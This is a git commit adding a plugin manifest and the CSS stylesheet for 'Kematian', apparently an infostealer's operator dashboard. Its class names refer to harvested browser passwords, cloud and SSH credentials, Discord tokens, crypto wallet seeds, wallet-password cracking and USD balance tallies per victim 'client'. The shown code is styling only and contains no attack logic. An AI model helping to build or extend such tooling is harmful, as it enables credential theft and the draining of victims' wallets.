initial commit

This commit is contained in:
i2p
2026-08-27 18:31:01 +00:00
commit 67eef7a5d7
15 changed files with 30425 additions and 0 deletions
Executable
BIN
View File
Binary file not shown.
BIN
View File
Binary file not shown.
Binary file not shown.
BIN
View File
Binary file not shown.
BIN
View File
Binary file not shown.
BIN
View File
Binary file not shown.
BIN
View File
Binary file not shown.
BIN
View File
Binary file not shown.
+9
View File
@@ -0,0 +1,9 @@
{
"name": "Kematian",
"version": "1.0.0",
"description": "Browser credential recovery — global harvest view",
"navbar": {
"label": "Kematian",
"icon": "fa-skull"
}
}
Binary file not shown.
+867
View File
@@ -0,0 +1,867 @@
/* ── Reset & Base ───────────────────────────────────────────── */
*, *::before, *::after { box-sizing: border-box; }
:root {
--bg: #0a0d14;
--surface: rgba(20, 28, 50, 0.80);
--surface-hover: rgba(28, 38, 65, 0.92);
--border: rgba(51, 65, 100, 0.42);
--border-accent: rgba(99, 102, 241, 0.38);
--radius-lg: 14px;
--radius-md: 10px;
--radius-sm: 6px;
--radius-pill: 999px;
--text: #e2e8f0;
--text-muted: #94a3b8;
--text-dim: #475569;
--accent: #6366f1;
--accent-hover: #818cf8;
--accent-dim: rgba(99, 102, 241, 0.14);
--success: #22c55e;
--danger: #ef4444;
--danger-dim: rgba(239, 68, 68, 0.14);
--font: "Inter", "Segoe UI", system-ui, -apple-system, sans-serif;
--mono: "JetBrains Mono", "Cascadia Code", "Consolas", monospace;
}
body {
margin: 0;
background: var(--bg);
color: var(--text);
font-family: var(--font);
font-size: 14px;
line-height: 1.5;
min-height: 100vh;
}
/* ── Layout ─────────────────────────────────────────────────── */
.container { max-width: 1280px; margin: 0 auto; padding: 28px 20px 52px; }
/* ── Header ─────────────────────────────────────────────────── */
.header { margin-bottom: 22px; }
.header h1 {
margin: 0 0 4px;
font-size: 22px;
font-weight: 700;
letter-spacing: -0.3px;
background: linear-gradient(120deg, #e2e8f0 30%, #a5b4fc 100%);
-webkit-background-clip: text;
-webkit-text-fill-color: transparent;
background-clip: text;
}
.header .sub { margin: 0; font-size: 13px; color: var(--text-muted); }
/* ── Cards ──────────────────────────────────────────────────── */
.card {
background: var(--surface);
border: 1px solid var(--border);
border-radius: var(--radius-lg);
padding: 18px 20px;
margin-bottom: 14px;
backdrop-filter: blur(10px);
}
.card > h2 {
margin: 0 0 14px;
font-size: 11px;
font-weight: 600;
text-transform: uppercase;
letter-spacing: 0.1em;
color: var(--text-dim);
}
/* ── Control rows ───────────────────────────────────────────── */
.row { display: flex; align-items: center; gap: 12px; margin-bottom: 10px; }
.label {
min-width: 76px;
font-size: 11px;
font-weight: 600;
text-transform: uppercase;
letter-spacing: 0.07em;
color: var(--text-dim);
}
.input {
flex: 1;
background: rgba(0,0,0,0.38);
border: 1px solid var(--border);
border-radius: var(--radius-sm);
color: var(--text);
padding: 7px 10px;
font-family: var(--mono);
font-size: 12px;
outline: none;
transition: border-color 0.15s;
}
.input:focus { border-color: var(--accent); }
/* ── Status row ─────────────────────────────────────────────── */
.status-row {
display: flex; align-items: center; gap: 8px;
margin-bottom: 14px; font-size: 13px; color: var(--text-muted);
}
.dot { width: 8px; height: 8px; border-radius: 50%; flex-shrink: 0; }
.dot-off { background: #1e293b; }
.dot-on { background: var(--success); box-shadow: 0 0 8px rgba(34,197,94,0.55); }
/* ── Buttons ────────────────────────────────────────────────── */
.actions { display: flex; gap: 8px; flex-wrap: wrap; }
.btn {
display: inline-flex; align-items: center; gap: 6px;
padding: 7px 14px;
border-radius: var(--radius-sm);
border: 1px solid var(--border);
background: rgba(255,255,255,0.055);
color: var(--text);
font-family: var(--font); font-size: 13px; font-weight: 500;
cursor: pointer; white-space: nowrap;
transition: background 0.12s, border-color 0.12s, transform 0.1s, box-shadow 0.1s;
}
.btn:hover:not(:disabled) {
background: rgba(255,255,255,0.11);
border-color: rgba(255,255,255,0.18);
transform: translateY(-1px);
box-shadow: 0 4px 12px rgba(0,0,0,0.3);
}
.btn:active:not(:disabled) { transform: translateY(0); box-shadow: none; }
.btn:disabled { opacity: 0.36; cursor: not-allowed; }
.btn-green {
background: linear-gradient(135deg, #166534, #16a34a);
border-color: transparent; color: #fff;
box-shadow: 0 2px 8px rgba(34,197,94,0.22);
}
.btn-green:hover:not(:disabled) {
background: linear-gradient(135deg, #16a34a, #22c55e);
box-shadow: 0 4px 14px rgba(34,197,94,0.32);
}
.btn-danger {
background: var(--danger-dim); border-color: rgba(239,68,68,0.28); color: #f87171;
}
.btn-danger:hover:not(:disabled) {
background: rgba(239,68,68,0.24); border-color: rgba(239,68,68,0.48);
}
.btn-danger-sm {
display: inline-flex; align-items: center;
padding: 4px 10px; border-radius: var(--radius-sm);
border: 1px solid rgba(239,68,68,0.22);
background: rgba(239,68,68,0.08);
color: #f87171; font-family: var(--font); font-size: 12px;
cursor: pointer;
transition: background 0.12s, border-color 0.12s;
}
.btn-danger-sm:hover {
background: rgba(239,68,68,0.2); border-color: rgba(239,68,68,0.44);
}
/* ── Log ────────────────────────────────────────────────────── */
.log {
background: rgba(0,0,0,0.48);
border: 1px solid var(--border);
border-radius: var(--radius-sm);
padding: 10px 12px;
max-height: 170px; overflow: auto;
font-family: var(--mono); font-size: 11px; line-height: 1.65;
color: var(--text-muted);
margin: 10px 0 0;
white-space: pre-wrap; word-break: break-all;
}
/* ── Global stats bar ───────────────────────────────────────── */
.global-stats {
display: flex; align-items: center; gap: 6px;
flex-wrap: wrap; margin-bottom: 14px;
font-size: 13px; color: var(--text-muted);
}
.gstat { display: inline-flex; align-items: center; gap: 5px; }
.gstat strong { color: var(--text); font-weight: 600; }
.gstat-sep { color: rgba(255,255,255,0.12); font-size: 16px; }
/* ── Settings card ──────────────────────────────────────────── */
.settings-grid {
display: flex; flex-direction: column; gap: 2px;
}
.settings-grid.disabled {
opacity: 0.5; pointer-events: none;
}
.setting-row {
display: flex; align-items: center; justify-content: space-between;
padding: 12px 14px;
background: rgba(255,255,255,0.02);
border-radius: var(--radius-sm);
transition: background 0.12s;
}
.setting-row:hover { background: rgba(255,255,255,0.04); }
.setting-sub {
padding-left: 32px;
transition: opacity 0.15s;
}
.setting-info { display: flex; flex-direction: column; gap: 2px; }
.setting-name { font-size: 13px; font-weight: 500; color: var(--text); }
.setting-desc { font-size: 11px; color: var(--text-dim); }
.settings-notice {
font-size: 12px; color: var(--text-dim);
padding: 8px 12px; margin-bottom: 10px;
background: rgba(255,255,255,0.03);
border: 1px solid var(--border);
border-radius: var(--radius-sm);
}
.settings-status {
display: block;
font-size: 11px; color: var(--text-dim);
margin-top: 8px; min-height: 16px;
}
/* ── Toggle ─────────────────────────────────────────────────── */
.toggle-label {
display: inline-flex; align-items: center;
cursor: pointer; user-select: none; flex-shrink: 0;
}
.toggle-label input[type="checkbox"] { display: none; }
.toggle-track {
width: 36px; height: 20px; border-radius: 10px;
background: rgba(255,255,255,0.1);
border: 1px solid rgba(255,255,255,0.15);
position: relative; flex-shrink: 0;
transition: background 0.2s, border-color 0.2s;
}
.toggle-thumb {
position: absolute; top: 2px; left: 2px;
width: 14px; height: 14px; border-radius: 50%;
background: #64748b;
transition: transform 0.2s, background 0.2s;
}
.toggle-label input:checked ~ .toggle-track {
background: rgba(34,197,94,0.28);
border-color: rgba(34,197,94,0.5);
}
.toggle-label input:checked ~ .toggle-track .toggle-thumb {
transform: translateX(16px);
background: var(--success);
}
/* ── Clients grid ───────────────────────────────────────────── */
.clients-list {
display: grid;
grid-template-columns: repeat(auto-fill, minmax(270px, 1fr));
gap: 10px;
}
.client-item {
background: rgba(20, 30, 55, 0.65);
border: 1px solid var(--border);
border-radius: var(--radius-md);
padding: 14px;
transition: border-color 0.15s, box-shadow 0.15s;
}
.client-item:hover {
border-color: var(--border-accent);
box-shadow: 0 0 0 1px rgba(99,102,241,0.08);
}
.client-item-header {
display: flex; align-items: center;
justify-content: space-between; margin-bottom: 10px;
}
.client-id-badge {
font-family: var(--mono); font-size: 12px; font-weight: 600;
color: #a78bfa;
background: rgba(139,92,246,0.12);
border: 1px solid rgba(139,92,246,0.24);
padding: 2px 9px; border-radius: var(--radius-pill);
}
.client-ts { font-size: 11px; color: var(--text-dim); }
.client-counts { display: flex; gap: 5px; flex-wrap: wrap; margin-bottom: 10px; }
.client-count {
background: rgba(255,255,255,0.04);
border: 1px solid rgba(255,255,255,0.07);
border-radius: var(--radius-pill);
padding: 2px 9px; font-size: 11px; color: var(--text-dim); white-space: nowrap;
}
.client-item-actions { display: flex; gap: 6px; }
/* ── Data card top ──────────────────────────────────────────── */
.data-top { display: flex; flex-direction: column; gap: 10px; margin-bottom: 14px; }
.data-controls { display: flex; align-items: center; gap: 10px; flex-wrap: wrap; }
.search-input { flex: 1; min-width: 160px; }
/* ── Tabs ───────────────────────────────────────────────────── */
.tabs { display: flex; gap: 4px; flex-wrap: wrap; }
.tab {
display: inline-flex; align-items: center; gap: 6px;
padding: 6px 13px;
border-radius: var(--radius-sm);
border: 1px solid var(--border);
background: rgba(255,255,255,0.04);
color: var(--text-muted);
font-family: var(--font); font-size: 12px; font-weight: 500;
cursor: pointer;
transition: background 0.12s, color 0.12s, border-color 0.12s;
}
.tab:hover { background: rgba(255,255,255,0.09); color: var(--text); }
.tab.active {
background: var(--accent-dim);
border-color: var(--border-accent);
color: #a5b4fc;
}
.tab-count {
background: rgba(255,255,255,0.09);
border-radius: var(--radius-pill);
padding: 1px 7px; font-size: 10px; font-weight: 600;
min-width: 20px; text-align: center;
}
.tab.active .tab-count { background: rgba(99,102,241,0.28); color: #c7d2fe; }
/* ── Browser filter pills ───────────────────────────────────── */
.bfilts { display: flex; gap: 4px; flex-shrink: 0; flex-wrap: wrap; align-items: center; }
.bfilt-sep { width: 1px; height: 18px; background: rgba(255,255,255,0.12); margin: 0 4px; }
.history-view-toggle { display: flex; gap: 4px; }
.bfilt {
padding: 4px 10px; border-radius: var(--radius-pill);
border: 1px solid rgba(255,255,255,0.1);
background: transparent; color: var(--text-muted);
font-family: var(--font); font-size: 12px; cursor: pointer;
transition: background 0.12s, color 0.12s, border-color 0.12s;
}
.bfilt:hover { color: var(--text); border-color: rgba(255,255,255,0.2); }
.bfilt.active { color: var(--text); }
.bfilt[data-browser="all"].active { background: rgba(255,255,255,0.1); border-color: rgba(255,255,255,0.25); }
.bfilt[data-browser="Chrome"].active { background: rgba(66,133,244,0.16); border-color: #4285f4; color: #6ba3f5; }
.bfilt[data-browser="Edge"].active { background: rgba(0,120,215,0.16); border-color: #0078d7; color: #4aa8f5; }
.bfilt[data-browser="Brave"].active { background: rgba(251,84,43,0.16); border-color: #fb542b; color: #fb7a5a; }
.bfilt[data-browser="Vivaldi"].active { background: rgba(239,59,73,0.16); border-color: #ef3b49; color: #f07280; }
.bfilt[data-browser="Yandex"].active { background: rgba(252,204,0,0.16); border-color: #fccc00; color: #f5c842; }
.bfilt[data-browser="Arc"].active { background: rgba(80,120,255,0.16); border-color: #5078ff; color: #8eaaff; }
.bfilt[data-browser="Opera"].active { background: rgba(255,30,30,0.16); border-color: #ff1e1e; color: #ff6b6b; }
.bfilt[data-browser="Opera GX"].active { background: rgba(193,0,255,0.16); border-color: #c100ff; color: #d966ff; }
.bfilt[data-browser="Firefox"].active { background: rgba(255,100,0,0.16); border-color: #ff6400; color: #ff8c42; }
.bfilt[data-browser="Waterfox"].active { background: rgba(0,180,220,0.16); border-color: #00b4dc; color: #40c8e8; }
/* ── Client filter pills ────────────────────────────────────── */
.cfilts { display: flex; gap: 4px; flex-wrap: wrap; }
.cfilt {
padding: 4px 10px; border-radius: var(--radius-pill);
border: 1px solid rgba(255,255,255,0.1);
background: transparent; color: var(--text-dim);
font-family: var(--mono); font-size: 11px; cursor: pointer;
transition: background 0.12s, color 0.12s, border-color 0.12s;
}
.cfilt:hover { color: var(--text); border-color: rgba(255,255,255,0.2); }
.cfilt.active {
background: rgba(139,92,246,0.14);
border-color: rgba(139,92,246,0.38);
color: #a78bfa;
}
/* ── Table ──────────────────────────────────────────────────── */
.table-wrap {
overflow: auto;
max-height: 540px;
border: 1px solid var(--border);
border-radius: var(--radius-md);
}
.data-table { width: 100%; border-collapse: collapse; font-size: 12px; table-layout: auto; }
.data-table thead { position: sticky; top: 0; z-index: 2; }
.data-table th {
text-align: left; padding: 8px 12px;
border-bottom: 1px solid var(--border);
background: rgba(8,10,20,0.98);
color: var(--text-dim);
white-space: nowrap; cursor: pointer; user-select: none;
font-size: 10px; font-weight: 600;
text-transform: uppercase; letter-spacing: 0.09em;
}
.data-table th:hover { color: var(--text-muted); }
.data-table th .sort-arrow { display: inline-block; margin-left: 4px; opacity: 0.3; }
.data-table th.sort-asc .sort-arrow,
.data-table th.sort-desc .sort-arrow { opacity: 1; color: var(--accent-hover); }
.data-table td {
padding: 6px 12px;
border-bottom: 1px solid rgba(255,255,255,0.025);
color: #cbd5e1;
max-width: 260px; overflow: hidden;
text-overflow: ellipsis; white-space: nowrap;
cursor: default;
}
.data-table td:hover {
background: rgba(99,102,241,0.06);
}
.data-table tr:last-child td { border-bottom: none; }
.data-table tbody tr:hover td { background: rgba(255,255,255,0.022); }
/* ── Badges ─────────────────────────────────────────────────── */
.badge {
display: inline-block; padding: 2px 8px; border-radius: var(--radius-pill);
font-size: 11px; font-weight: 500; white-space: nowrap;
}
.badge-Chrome { background: rgba(66,133,244,0.12); color: #6ba3f5; border: 1px solid rgba(66,133,244,0.24); }
.badge-Edge { background: rgba(0,120,215,0.12); color: #4aa8f5; border: 1px solid rgba(0,120,215,0.24); }
.badge-Brave { background: rgba(251,84,43,0.12); color: #fb7a5a; border: 1px solid rgba(251,84,43,0.24); }
.badge-Vivaldi { background: rgba(239,59,73,0.12); color: #f07280; border: 1px solid rgba(239,59,73,0.24); }
.badge-Yandex { background: rgba(252,204,0,0.12); color: #f5c842; border: 1px solid rgba(252,204,0,0.24); }
.badge-Arc { background: rgba(80,120,255,0.12); color: #8eaaff; border: 1px solid rgba(80,120,255,0.24); }
.badge-Opera { background: rgba(255,30,30,0.12); color: #ff6b6b; border: 1px solid rgba(255,30,30,0.24); }
.badge-Opera-GX { background: rgba(193,0,255,0.12); color: #d966ff; border: 1px solid rgba(193,0,255,0.24); }
.badge-Firefox { background: rgba(255,100,0,0.12); color: #ff8c42; border: 1px solid rgba(255,100,0,0.24); }
.badge-Waterfox { background: rgba(0,180,220,0.12); color: #40c8e8; border: 1px solid rgba(0,180,220,0.24); }
.badge-ssh { background: rgba(34,197,94,0.12); color: #4ade80; border: 1px solid rgba(34,197,94,0.24); }
.badge-ssh_config { background: rgba(34,197,94,0.12); color: #4ade80; border: 1px solid rgba(34,197,94,0.24); }
.badge-aws { background: rgba(255,153,0,0.12); color: #ffb84d; border: 1px solid rgba(255,153,0,0.24); }
.badge-gcp { background: rgba(66,133,244,0.12); color: #6ba3f5; border: 1px solid rgba(66,133,244,0.24); }
.badge-azure { background: rgba(0,120,215,0.12); color: #4aa8f5; border: 1px solid rgba(0,120,215,0.24); }
.badge-docker { background: rgba(0,150,214,0.12); color: #47b5e6; border: 1px solid rgba(0,150,214,0.24); }
.badge-kubernetes { background: rgba(50,109,230,0.12); color: #6b8ef5; border: 1px solid rgba(50,109,230,0.24); }
.badge-env { background: rgba(139,92,246,0.12); color: #a78bfa; border: 1px solid rgba(139,92,246,0.24); }
.badge-client {
background: rgba(139,92,246,0.12); color: #a78bfa;
border: 1px solid rgba(139,92,246,0.24);
font-family: var(--mono);
}
.badge-seed {
background: rgba(250,204,21,0.12); color: #fbbf24;
border: 1px solid rgba(250,204,21,0.32); font-weight: 600;
}
.badge-wallet {
background: rgba(245,158,11,0.14); color: #f59e0b;
border: 1px solid rgba(245,158,11,0.34); font-weight: 600;
}
/* ── Sensitive fields ───────────────────────────────────────── */
.sensitive { font-family: var(--mono); letter-spacing: 2px; color: #334155; }
.sensitive.revealed { letter-spacing: normal; color: #cbd5e1; }
/* ── Boolean cells ──────────────────────────────────────────── */
.bool-yes { color: var(--success); }
.bool-no { color: #1e293b; }
/* ── Copy flash ─────────────────────────────────────────────── */
.copied-flash { background: rgba(99,102,241,0.1) !important; transition: background 0.3s; }
/* ── Table footer ───────────────────────────────────────────── */
.table-foot {
display: flex; align-items: center;
justify-content: space-between;
flex-wrap: wrap; gap: 8px;
margin-top: 10px; font-size: 12px; color: var(--text-dim);
}
/* ── Pagination bar ─────────────────────────────────────────── */
.pagination-bar { display: flex; align-items: center; gap: 8px; font-size: 12px; color: var(--text-muted); }
.pagination-bar .btn { padding: 4px 10px; font-size: 12px; }
/* ── Reveal label ───────────────────────────────────────────── */
.reveal-label {
display: flex; align-items: center; gap: 6px;
cursor: pointer; color: var(--text-muted); font-size: 12px;
}
.reveal-label input { cursor: pointer; accent-color: var(--accent); }
/* ── Empty state ────────────────────────────────────────────── */
.no-rows { padding: 44px; text-align: center; color: var(--text-dim); font-size: 13px; }
/* ── Download buttons ───────────────────────────────────────── */
.btn-dl {
background: rgba(255,255,255,0.055);
border: 1px solid rgba(255,255,255,0.11);
color: var(--text-muted);
padding: 3px 9px; border-radius: var(--radius-sm);
cursor: pointer; font-size: 11px; font-family: var(--font);
transition: background 0.12s, color 0.12s, border-color 0.12s;
white-space: nowrap;
}
.btn-dl:hover:not(:disabled) {
background: rgba(99,102,241,0.15);
border-color: rgba(99,102,241,0.32);
color: #a5b4fc;
}
.btn-dl:disabled { opacity: 0.32; cursor: not-allowed; }
/* ── Discord profile view ───────────────────────────────────── */
.dp-toolbar {
display: flex; align-items: center; gap: 10px;
margin-bottom: 14px; flex-wrap: wrap;
}
.dp-enrich-status { font-size: 12px; color: var(--text-muted); }
.dp-grid {
display: grid;
grid-template-columns: repeat(auto-fill, minmax(340px, 1fr));
gap: 12px;
}
.dp-card {
background: rgba(88, 101, 242, 0.06);
border: 1px solid rgba(88, 101, 242, 0.22);
border-radius: var(--radius-md);
padding: 14px 16px;
display: flex; flex-direction: column; gap: 10px;
transition: border-color 0.15s, box-shadow 0.15s;
}
.dp-card:hover {
border-color: rgba(88, 101, 242, 0.44);
box-shadow: 0 0 0 1px rgba(88, 101, 242, 0.1);
}
.dp-card-top { display: flex; align-items: flex-start; gap: 12px; }
.dp-avatar-wrap { flex-shrink: 0; }
.dp-avatar {
width: 52px; height: 52px; border-radius: 50%;
object-fit: cover;
border: 2px solid rgba(88, 101, 242, 0.32);
display: flex; align-items: center; justify-content: center;
font-size: 20px; font-weight: 700; color: var(--text-muted);
}
.dp-avatar-default { background: rgba(88, 101, 242, 0.18); color: #a5b4fc; }
.dp-avatar-pending { background: rgba(255,255,255,0.05); color: #475569; }
.dp-avatar-err { background: rgba(239,68,68,0.12); color: #f87171; }
.dp-identity { flex: 1; min-width: 0; }
.dp-displayname {
font-size: 15px; font-weight: 600; color: var(--text);
white-space: nowrap; overflow: hidden; text-overflow: ellipsis;
}
.dp-tag {
font-family: var(--mono); font-size: 11px; color: var(--text-muted);
margin-top: 2px;
}
.dp-created { font-size: 11px; color: var(--text-dim); margin-top: 4px; }
.dp-err-msg { color: #f87171; }
.dp-badges-col {
display: flex; flex-direction: column; gap: 4px; align-items: flex-end;
flex-shrink: 0;
}
.dp-badge {
display: inline-block;
padding: 2px 8px; border-radius: var(--radius-pill);
font-size: 10px; font-weight: 600; white-space: nowrap;
background: rgba(88, 101, 242, 0.16);
border: 1px solid rgba(88, 101, 242, 0.32);
color: #a5b4fc;
}
.dp-badge-nitro {
background: rgba(250, 168, 216, 0.14);
border-color: rgba(250, 168, 216, 0.32);
color: #f9a8d4;
}
.dp-stats-row { display: flex; gap: 6px; flex-wrap: wrap; }
.dp-stat {
flex: 1; min-width: 52px;
display: flex; flex-direction: column; align-items: center;
background: rgba(255,255,255,0.04);
border: 1px solid rgba(255,255,255,0.07);
border-radius: var(--radius-sm);
padding: 6px 4px;
}
.dp-stat-val { font-size: 14px; font-weight: 700; color: var(--text); }
.dp-stat-lbl {
font-size: 9px; font-weight: 600; text-transform: uppercase;
letter-spacing: 0.07em; color: var(--text-dim); margin-top: 2px;
}
.dp-detail-row { display: flex; align-items: baseline; gap: 8px; font-size: 12px; }
.dp-detail-lbl {
font-size: 10px; font-weight: 600; text-transform: uppercase;
letter-spacing: 0.07em; color: var(--text-dim); min-width: 44px;
}
.dp-detail-val { color: var(--text-muted); flex: 1; }
.dp-guild-list {
white-space: nowrap; overflow: hidden; text-overflow: ellipsis;
max-width: 220px;
}
.dp-guilds .dp-detail-val { overflow: hidden; }
.dp-token-row { display: flex; align-items: center; gap: 8px; }
.dp-token-label {
font-size: 10px; font-weight: 600; text-transform: uppercase;
letter-spacing: 0.07em; color: var(--text-dim); flex-shrink: 0;
}
.dp-token {
flex: 1; font-family: var(--mono); font-size: 11px;
overflow: hidden; text-overflow: ellipsis; white-space: nowrap;
cursor: pointer; border-radius: 3px; padding: 1px 4px;
transition: background 0.12s;
}
.dp-token:hover { background: rgba(255,255,255,0.06); }
.dp-actions { display: flex; align-items: center; gap: 8px; }
.dp-uid {
font-family: var(--mono); font-size: 10px; color: var(--text-dim);
margin-left: auto;
}
/* ── Wallet card view ──────────────────────────────────────── */
.wl-grid {
display: grid;
grid-template-columns: repeat(auto-fill, minmax(340px, 1fr));
gap: 12px;
}
.wl-card {
background: rgba(245, 158, 11, 0.05);
border: 1px solid rgba(245, 158, 11, 0.22);
border-radius: var(--radius-md);
padding: 14px 16px;
display: flex; flex-direction: column; gap: 10px;
transition: border-color 0.15s, box-shadow 0.15s;
}
.wl-card:hover {
border-color: rgba(245, 158, 11, 0.44);
box-shadow: 0 0 0 1px rgba(245, 158, 11, 0.1);
}
.wl-card-top { display: flex; align-items: flex-start; gap: 12px; }
.wl-icon {
width: 42px; height: 42px; border-radius: 10px;
display: flex; align-items: center; justify-content: center;
font-size: 20px; flex-shrink: 0;
border: 1px solid rgba(245, 158, 11, 0.28);
}
.wl-icon-ext { background: rgba(99, 102, 241, 0.14); border-color: rgba(99, 102, 241, 0.28); }
.wl-icon-desk { background: rgba(245, 158, 11, 0.14); }
.wl-identity { flex: 1; min-width: 0; }
.wl-name {
font-size: 14px; font-weight: 600; color: var(--text);
white-space: nowrap; overflow: hidden; text-overflow: ellipsis;
}
.wl-meta {
font-size: 11px; color: var(--text-dim); margin-top: 2px;
display: flex; gap: 8px; flex-wrap: wrap;
}
.wl-type-badge {
display: inline-block; padding: 2px 8px; border-radius: var(--radius-pill);
font-size: 10px; font-weight: 600;
}
.wl-type-ext {
background: rgba(99, 102, 241, 0.14); color: #a5b4fc;
border: 1px solid rgba(99, 102, 241, 0.28);
}
.wl-type-desk {
background: rgba(245, 158, 11, 0.14); color: #f59e0b;
border: 1px solid rgba(245, 158, 11, 0.28);
}
.wl-stats-row { display: flex; gap: 6px; flex-wrap: wrap; }
.wl-stat {
flex: 1; min-width: 52px;
display: flex; flex-direction: column; align-items: center;
background: rgba(255,255,255,0.04);
border: 1px solid rgba(255,255,255,0.07);
border-radius: var(--radius-sm);
padding: 6px 4px;
}
.wl-stat-val { font-size: 14px; font-weight: 700; color: var(--text); }
.wl-stat-lbl {
font-size: 9px; font-weight: 600; text-transform: uppercase;
letter-spacing: 0.07em; color: var(--text-dim); margin-top: 2px;
}
.wl-addrs {
display: flex; flex-direction: column; gap: 3px;
max-height: 100px; overflow-y: auto;
}
.wl-addr {
font-family: var(--mono); font-size: 11px; color: var(--text-muted);
cursor: pointer; padding: 2px 6px; border-radius: 3px;
white-space: nowrap; overflow: hidden; text-overflow: ellipsis;
transition: background 0.12s;
}
.wl-addr:hover { background: rgba(255,255,255,0.06); }
.wl-balances {
display: flex; gap: 6px; flex-wrap: wrap;
}
.wl-bal-chip {
display: inline-flex; align-items: center; gap: 4px;
padding: 3px 10px; border-radius: var(--radius-pill);
font-size: 11px; font-weight: 600;
background: rgba(34, 197, 94, 0.1);
border: 1px solid rgba(34, 197, 94, 0.28);
color: #22c55e;
}
.wl-bal-chip-zero {
background: rgba(255,255,255,0.03);
border-color: rgba(255,255,255,0.07);
color: var(--text-dim);
font-weight: 400;
}
.wl-vault-badge {
display: inline-flex; align-items: center; gap: 4px;
padding: 3px 10px; border-radius: var(--radius-pill);
font-size: 11px; font-weight: 600;
background: rgba(168, 85, 247, 0.12);
border: 1px solid rgba(168, 85, 247, 0.32);
color: #c084fc;
}
.wl-crack-result {
font-size: 12px; padding: 8px 10px;
background: rgba(34, 197, 94, 0.08);
border: 1px solid rgba(34, 197, 94, 0.24);
border-radius: var(--radius-sm);
color: #86efac;
}
.wl-crack-result .wl-crack-pw {
font-family: var(--mono); color: #22c55e; font-weight: 600;
}
.wl-crack-fail {
background: rgba(239, 68, 68, 0.08);
border-color: rgba(239, 68, 68, 0.24);
color: #fca5a5;
}
.wl-accounts {
display: flex; flex-direction: column; gap: 6px;
max-height: 200px; overflow-y: auto;
margin-top: 8px;
}
.wl-account {
font-family: var(--mono); font-size: 11px; color: var(--text-muted);
padding: 2px 6px; cursor: pointer; border-radius: 3px;
white-space: nowrap; overflow: hidden; text-overflow: ellipsis;
transition: background 0.12s;
}
.wl-account:hover { background: rgba(255,255,255,0.06); }
.wl-mnemonic {
font-family: var(--mono); font-size: 11px; color: #fbbf24;
background: rgba(250, 204, 21, 0.06);
border: 1px solid rgba(250, 204, 21, 0.18);
border-radius: var(--radius-sm);
padding: 6px 8px; cursor: pointer;
word-break: break-all;
transition: background 0.12s;
}
.wl-mnemonic:hover { background: rgba(250, 204, 21, 0.12); }
.wl-crack-warning {
font-size: 11px; padding: 6px 10px; margin-bottom: 6px;
background: rgba(250, 204, 21, 0.08);
border: 1px solid rgba(250, 204, 21, 0.24);
border-radius: var(--radius-sm);
color: #fbbf24;
}
.wl-usd-total {
font-size: 22px; font-weight: 700; color: #22c55e;
padding: 6px 0; margin-top: 4px;
}
.wl-usd-zero {
color: var(--text-dim); font-weight: 400;
}
.wl-bal-row {
display: flex; gap: 6px; flex-wrap: wrap; margin-top: 6px;
}
.wl-check-bal-btn {
margin-top: 8px;
}
.wl-actions { display: flex; align-items: center; gap: 8px; }
.wl-downloaded {
font-size: 10px; color: var(--text-dim); margin-left: auto;
}
/* ── Summary Dashboard ─────────────────────────────────────── */
.summary-header { display: flex; align-items: center; justify-content: space-between; margin-bottom: 12px; }
.summary-header h2 { margin: 0; font-size: 16px; }
.summary-totals { display: flex; align-items: baseline; gap: 12px; }
.summary-usd { font-size: 28px; font-weight: 700; color: #22c55e; }
.summary-meta { font-size: 12px; color: var(--text-dim); }
.summary-grid { display: grid; grid-template-columns: repeat(auto-fill, minmax(300px, 1fr)); gap: 10px; }
.summary-client-card {
background: rgba(255,255,255,0.02); border: 1px solid rgba(255,255,255,0.08);
border-radius: var(--radius-sm); padding: 12px; display: flex; flex-direction: column; gap: 8px;
}
.summary-client-top { display: flex; align-items: center; justify-content: space-between; }
.summary-client-usd { font-size: 16px; font-weight: 700; color: #22c55e; }
.summary-client-counts { display: flex; gap: 8px; flex-wrap: wrap; font-size: 11px; color: var(--text-dim); }
.summary-wallets { display: flex; gap: 6px; flex-wrap: wrap; }
.summary-wallet {
font-size: 11px; padding: 3px 8px; border-radius: var(--radius-pill);
border: 1px solid rgba(255,255,255,0.1); color: var(--text-muted);
}
.summary-wallet.cracked {
background: rgba(34,197,94,0.1); border-color: rgba(34,197,94,0.28); color: #22c55e;
}
.summary-wallet.cracked b { margin-left: 4px; }
.summary-wallet.failed {
background: rgba(239,68,68,0.06); border-color: rgba(239,68,68,0.2); color: #fca5a5;
}
.summary-wallet.pending { color: var(--text-dim); border-style: dashed; }
/* ── Search All ─────────────────────────────────────────────── */
.search-all-grid { display: flex; flex-direction: column; gap: 16px; max-height: 600px; overflow-y: auto; }
.search-group {
border: 1px solid var(--border);
border-radius: var(--radius-md);
background: var(--surface);
overflow: hidden;
}
.search-group-header {
display: flex; align-items: center; justify-content: space-between;
padding: 8px 14px;
background: rgba(255,255,255,0.03);
border-bottom: 1px solid var(--border);
cursor: pointer;
transition: background 0.12s;
}
.search-group-header:hover { background: rgba(255,255,255,0.06); }
.search-group-title {
font-size: 13px; font-weight: 600; color: var(--text);
display: flex; align-items: center; gap: 8px;
}
.search-group-count {
font-size: 11px; font-weight: 600;
background: var(--accent-dim);
color: #a5b4fc;
padding: 1px 8px;
border-radius: var(--radius-pill);
}
.search-group-view {
font-size: 11px; color: var(--accent-hover);
display: flex; align-items: center; gap: 4px;
}
.search-group-table {
width: 100%; border-collapse: collapse; table-layout: fixed;
}
.search-group-table th {
text-align: left; padding: 4px 10px;
font-size: 10px; font-weight: 600; text-transform: uppercase; letter-spacing: 0.5px;
color: var(--text-dim);
background: rgba(0,0,0,0.15);
border-bottom: 1px solid var(--border);
}
.search-group-table td {
padding: 5px 10px; font-size: 12px; color: var(--text);
border-bottom: 1px solid rgba(51,65,100,0.2);
overflow: hidden; text-overflow: ellipsis; white-space: nowrap;
cursor: pointer;
}
.search-group-table tr:last-child td { border-bottom: none; }
.search-group-table tr:hover td { background: rgba(255,255,255,0.03); }
.search-group-table td.sg-grow { overflow: hidden; text-overflow: ellipsis; }
.search-group-more {
display: block; text-align: center; padding: 6px;
font-size: 11px; color: var(--accent-hover);
border-top: 1px solid var(--border);
cursor: pointer; transition: background 0.12s;
}
.search-group-more:hover { background: rgba(99,102,241,0.08); }
.tab.tab-search { border-color: rgba(250,204,21,0.3); color: #fbbf24; }
.tab.tab-search.active { background: rgba(250,204,21,0.12); border-color: rgba(250,204,21,0.4); color: #fbbf24; }
.tab.tab-search .tab-count { background: rgba(250,204,21,0.18); color: #fbbf24; }
/* ── Scrollbars ─────────────────────────────────────────────── */
::-webkit-scrollbar { width: 6px; height: 6px; }
::-webkit-scrollbar-track { background: rgba(0,0,0,0.2); }
::-webkit-scrollbar-thumb {
